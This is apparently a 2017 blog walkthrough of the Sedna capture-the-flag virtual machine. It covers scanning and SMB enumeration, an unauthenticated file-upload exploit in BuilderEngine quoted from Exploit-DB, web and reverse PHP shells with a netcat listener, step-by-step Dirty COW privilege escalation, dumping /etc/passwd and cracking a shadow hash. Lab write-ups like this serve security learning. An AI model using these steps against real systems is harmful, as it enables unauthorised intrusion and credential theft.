This shall be a record of my escapades into the world of ones and zeros.


wwrdpldnadmin | 19 May, 2017 21:43



Sedna is the 2nd VM in a 3 part series. It is considered intermediate. I would consider the retrieval of the flags to be intermediate but the breaching of the server to be closer to beginner.

The vm boots and presents me with an IP Address:

Recon is the first step in hacking. I usually start with an nmap scan.

nmap -sS -sU -T4 -A -v




Next, I run an enum since I see 445 is open.



|    OS information on    |


[+] Got OS info for from smbclient: Domain=[WORKGROUP] OS=[Unix] Server=[Samba 4.1.6-Ubuntu]

[+] Got OS info for from srvinfo:

            SEDNA          Wk Sv PrQ Unx NT SNT Sedna server (Samba, Ubuntu)

            platform_id     : 500

            os version      :  4.9

            server type     :  0x809a03


|    Users on    |


index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: viper Name: viper     Desc:

index: 0x2 RID: 0x3e9 acb: 0x00000010 Account: root  Name: root       Desc:

user:[viper] rid:[0x3e8]

user:[root] rid:[0x3e9]

[+] Retieved partial password policy with rpcclient:

Password Complexity: Disabled

Minimum Password Length: 5



|    Users on via RID cycling (RIDS: 500-550,1000-1050)    |


[I] Found new SID: S-1-5-21-2217169221-2747901371-1699642345

[I] Found new SID: S-1-22-1

[I] Found new SID: S-1-5-32

[+] Enumerating users using SID S-1-5-21-2217169221-2747901371-1699642345 and logon username '', password ''

S-1-5-21-2217169221-2747901371-1699642345-1000 SEDNA\viper (Local User)

S-1-5-21-2217169221-2747901371-1699642345-1001 SEDNA\root (Local User)

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\crackmeforpoints (Local User)

Next I open the browser and navigate to the root page. I am presented with a familiar image. Clicking on it reveals another familiar image.

Dirbuster reveals more than just the two base images at


A casual look through these directories revealed the web application they were for.


A quick check for builderengine on Exploit-DB showed two versions of a Remote File Inclusion vulnerability. One is for metasploit and one manual. I decided to use the manual one.



# Exploit Title: BuilderEngine 3.5.0 Remote Code Execution via elFinder 2.0

# Date: 18/09/2016

# Exploit Author: metanubix

# Vendor Homepage: http://builderengine.org/

# Software Link: http://builderengine.org/page-cms-download.html

# Version: 3.5.0

# Tested on: Kali Linux 2.0 64 bit

# Google Dork: intext:"BuilderEngine Ltd. All Right Reserved"


 Unauthenticated Unrestricted File Upload:

        POST /themes/dashboard/assets/plugins/jquery-file-upload/server/php/

        Vulnerable Parameter: files[]


        We can upload test.php and reach the file via the following link:





<form method="post" action="http://localhost/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data">

        <input type="file" name="files[]" />

        <input type="submit" value="send" />





I create an html page on my kali box, copy/paste the html code and modify for my environment.



<form method="post" action="" enctype="multipart/form-data">

        <input type="file" name="files[]" />

        <input type="submit" value="send" />









I open this new page locally:


I click browse and choose a text file, test.txt and click send. I receive the following response:


Ok, looks good. I navigate to the directory that the file is supposed to be dumped into:


That’s my test file. Let’s see where we can go from here. I repeat the process but this time I upload my favorite “easy phpeasy” script:

Shell.php containing




Now I navigate to this new file and add the command syntax:


Done and Done. Let’s see what we can enumerate.(Many hackers would prefer to upload a reverse shell at this point. I often do this myself but lately I’ve been trying to reduce the number of tools I upload so that I can cover my tracks more easily. It may come down to uploading a shell but for now I’m going to see what I can learn by searching and reading. Remember, the first step is recon. You return to this step many times during a pentest. Programmers may live by “Hello World” Hackers live by “Goto 10”)

After casually looking through the directories using ls, I find some info:













www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin



mysql:x:102:106:MySQL Server,,,:/nonexistent:/bin/false





dovecot:x:107:118:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false

dovenull:x:108:119:Dovecot login user,,,:/nonexistent:/bin/false landscape:x:109:120::/var/lib/landscape:/bin/false


postgres:x:111:121:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

avahi:x:112:122:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false

colord:x:113:124:colord colour management daemon,,,:/var/lib/colord:/bin/false

libvirt-qemu:x:114:107:Libvirt Qemu,,,:/var/lib/libvirt:/bin/false

libvirt-dnsmasq:x:115:125:Libvirt Dnsmasq,,,:/var/lib/libvirt/dnsmasq:/bin/false tomcat7:x:116:126::/usr/share/tomcat7:/bin/false crackmeforpoints:x:1000:1000::/home/crackmeforpoints:


DISTRIB_ID=Ubuntu DISTRIB_RELEASE=14.04 DISTRIB_CODENAME=trusty DISTRIB_DESCRIPTION="Ubuntu 14.04.1 LTS" NAME="Ubuntu" VERSION="14.04.1 LTS, Trusty Tahr" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 14.04.1 LTS" VERSION_ID="14.04" HOME_URL="http://www.ubuntu.com/" SUPPORT_URL="http://help.ubuntu.com/" BUG_REPORT_URL=http://bugs.launchpad.net/ubuntu/

Linux version 3.13.0-32-generic (buildd@roseapple) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014



Now I’m going to go for a shell, normally I would make my own meterpreter reverse php shell here but metasploit has been very flaky lately with php reverse shells. For this reason I have been using pentestmonkey’s php reverse shell. It can be found here:



I alter the php reverse shell for my IP and use port 4444 and save it as prs.php. I upload it just as I did shell.php and start a netcat listener

#nc –nvlp 4444

Listening on [any] 4444 ...


Then I navigate to and get a session.


connect to [] from (UNKNOWN) [] 44011

Linux Sedna 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i686 i686 GNU/Linux

 08:36:32 up  1:30,  0 users,  load average: 0.00, 0.01, 0.05

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT

uid=33(www-data) gid=33(www-data) groups=33(www-data)

/bin/sh: 0: can't access tty; job control turned off



Now for a “proper” shell


$python -c 'import pty;pty.spawn("/bin/bash")'



So this version of linux and kernel should be vulnerable to one of the ofs privilege exploits but I could not get any of them to work. So I decided to use dirtycow. Dirtycow is a bit tricky. It likes to crash vm’s. The best way I have found to avoid this is to have the commands ready on scratch paper so you can cut and paste. If you are a fast enough typer then this isn’t necessary but it’s useful the first time. I’m going to list the steps for this one.


1)      Download the exploit to your system, https://www.exploit-db.com/exploits/40839/

Save it as whatever you like (I chose firefart.c because that’s the username it creates)

2)      Use the rfi.html uploader used earlier to copy the file to the target


3)      Compile the file on the target machine through our existing netcat shell.

$gcc -pthread firefart.c -o firefart –lcrypt

4)      Open another terminal and prepare to ssh into the target with the firefart user, don’t hit enter yet.

# ssh firefart@

5)      Have this command ready on scratch paper

echo 0 > /proc/sys/vm/dirty_writeback_centisecs

6)      In the netcat shell session type ./firefart firefart (the second firefart is setting the password to,…you guessed it, firefart.) Hit enter

7)      Go to you waiting terminal window with the ssh command and hit enter, enter the password when prompted (It’s firefart)

8)      Immediately copy and paste the echo 0 > /proc/sys/vm/dirty_writeback_centisecs command into the ssh terminal.

9)      Enjoy your root shell!


You have about 20 seconds between step 6 and step 8. If you don’t do this in time, the vm will crash. I did this about three times in a row, trying to figure out why it was doing it and actually FUBAR’d the vm. I had to dump it and start over. I finally found the fix by searching with google. I forgot where I found it but, if I can find it again, I will edit and give credit here.


Now, for the flags. We already have the first flag without even getting a real shell. Let’s find the next one,…probably in the root directory.


firefart@Sedna:/var/www# cd /root

firefart@Sedna:~# cat flag.txt



During the dump of /etc/passwd I saw a user named crackmeforpoints. I copied this entry from /etc/passwd and the co-entry from /etc/shadow and used john to unshadow to a file called,….unshadow( creative, I know) Then I ran john to decrypt.



I believe this is one of the four flags.


I poked around for the last flag. I believe I found it in the tomcat config file /etc/tomcat7/tomcat-users.xml




Over all I enjoyed this vm. I would like to see the flags handled a little differently. I think it would be better if they actually said flag1.txt-flag4.txt. General


Accessible and Valid XHTML 1.0 Strict and CSS
Powered by LifeType - Design by BalearWeb